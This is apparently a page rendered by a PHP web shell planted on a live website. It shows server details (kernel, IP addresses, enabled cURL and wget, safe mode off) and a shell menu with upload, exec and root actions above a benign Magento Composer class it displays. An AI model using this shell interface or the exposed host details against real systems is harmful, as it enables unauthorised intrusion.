Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 18.116.42.136 | Time @ Server : 19 Oct 2024 05:31:34
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/composer/src/RequireUpdateDryRunCommand.php

<?php
/**
 * Copyright © 2016 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */

namespace Magento\Composer;

/**
 * Class RequireUpdateDryRunCommand calls composer require and update --dry-run commands
 */
class RequireUpdateDryRunCommand
{
    /**
     * @var MagentoComposerApplication
     */
    protected $magentoComposerApplication;

    /**
     * @var InfoCommand
     */
    protected $infoCommand;

    /**
     * Constructor
     *
     * @param MagentoComposerApplication $magentoComposerApplication
     * @param InfoCommand $infoCommand
     */
    public function __construct(
        MagentoComposerApplication $magentoComposerApplication,
        InfoCommand $infoCommand
    ) {
        $this->magentoComposerApplication = $magentoComposerApplication;
        $this->infoCommand = $infoCommand;
    }

    /**
     * Runs composer update --dry-run command
     *
     * @param array $packages
     * @param string|null $workingDir
     * @return string
     * @throws \RuntimeException
     */
    public function run($packages, $workingDir = null)
    {
        try {
            // run require
            $this->magentoComposerApplication->runComposerCommand(
                ['command' => 'require', 'packages' => $packages, '--no-update' => true],
                $workingDir
            );

            $output = $this->magentoComposerApplication->runComposerCommand(
                ['command' => 'update', '--dry-run' => true],
                $workingDir
            );
        } catch (\RuntimeException $e) {
            $errorMessage = $this->generateAdditionalErrorMessage($e->getMessage(), $packages);
            if ($errorMessage) {
                throw new \RuntimeException($errorMessage, $e->getCode(), $e);
            } else {
                throw new \RuntimeException($e->getMessage(), $e->getCode(), $e);
            }

        }

        return $output;
    }

    /**
     * Generates additional explanation for error message
     *
     * @param array $message
     * @param array $inputPackages
     * @return string
     */
    protected function generateAdditionalErrorMessage($message, $inputPackages)
    {
        $matches  = [];
        $errorMessage = '';
        $packages = [];
        $rawLines = explode(PHP_EOL, $message);

        foreach ($rawLines as $line) {
            if (preg_match('/- (.*) requires (.*) -> no matching package/', $line, $matches)) {
                $packages[] = $matches[1];
                $packages[] = $matches[2];
            }
        }

        if (!empty($packages)) {
            $packages = array_unique($packages);
            $packages = $this->explodePackagesAndVersions($packages);
            $inputPackages = $this->explodePackagesAndVersions($inputPackages);

            $update = [];
            $conflicts = [];

            foreach ($inputPackages as $package => $version) {
                if (isset($packages[$package])) {
                    $update[] = $package . ' to ' . $version;
                }
            }

            foreach (array_diff_key($packages, $inputPackages) as $package => $version) {

                if (!$packageInfo = $this->infoCommand->run($package, true)) {
                    return false;
                }

                $currentVersion = $packageInfo[InfoCommand::CURRENT_VERSION];

                if (empty($packageInfo[InfoCommand::AVAILABLE_VERSIONS])) {
                    $packageInfo = $this->infoCommand->run($package);
                    if (empty($packageInfo[InfoCommand::AVAILABLE_VERSIONS])) {
                        return false;
                    }
                }

                $conflicts[] = ' - ' . $package . ' version ' . $currentVersion . '. '
                    . 'Please try to update it to one of the following package versions: '
                    . implode(', ', $packageInfo['available_versions']);
            }

            $errorMessage = 'You are trying to update package(s) '
                . implode(', ', $update) . PHP_EOL
                . "We've detected conflicts with the following packages:" . PHP_EOL
                . implode(PHP_EOL, $conflicts)
                . PHP_EOL;
        }

        return $errorMessage;
    }

    /**
     * Returns array that contains package as key and version as value
     *
     * @param array $packages
     * @return array
     */
    protected function explodePackagesAndVersions($packages)
    {
        $packagesAndVersions = [];
        foreach ($packages as $package) {
            $package = explode(' ', $package);
            $packagesAndVersions[$package[0]] = $package[1];
        }

        return $packagesAndVersions;
    }
}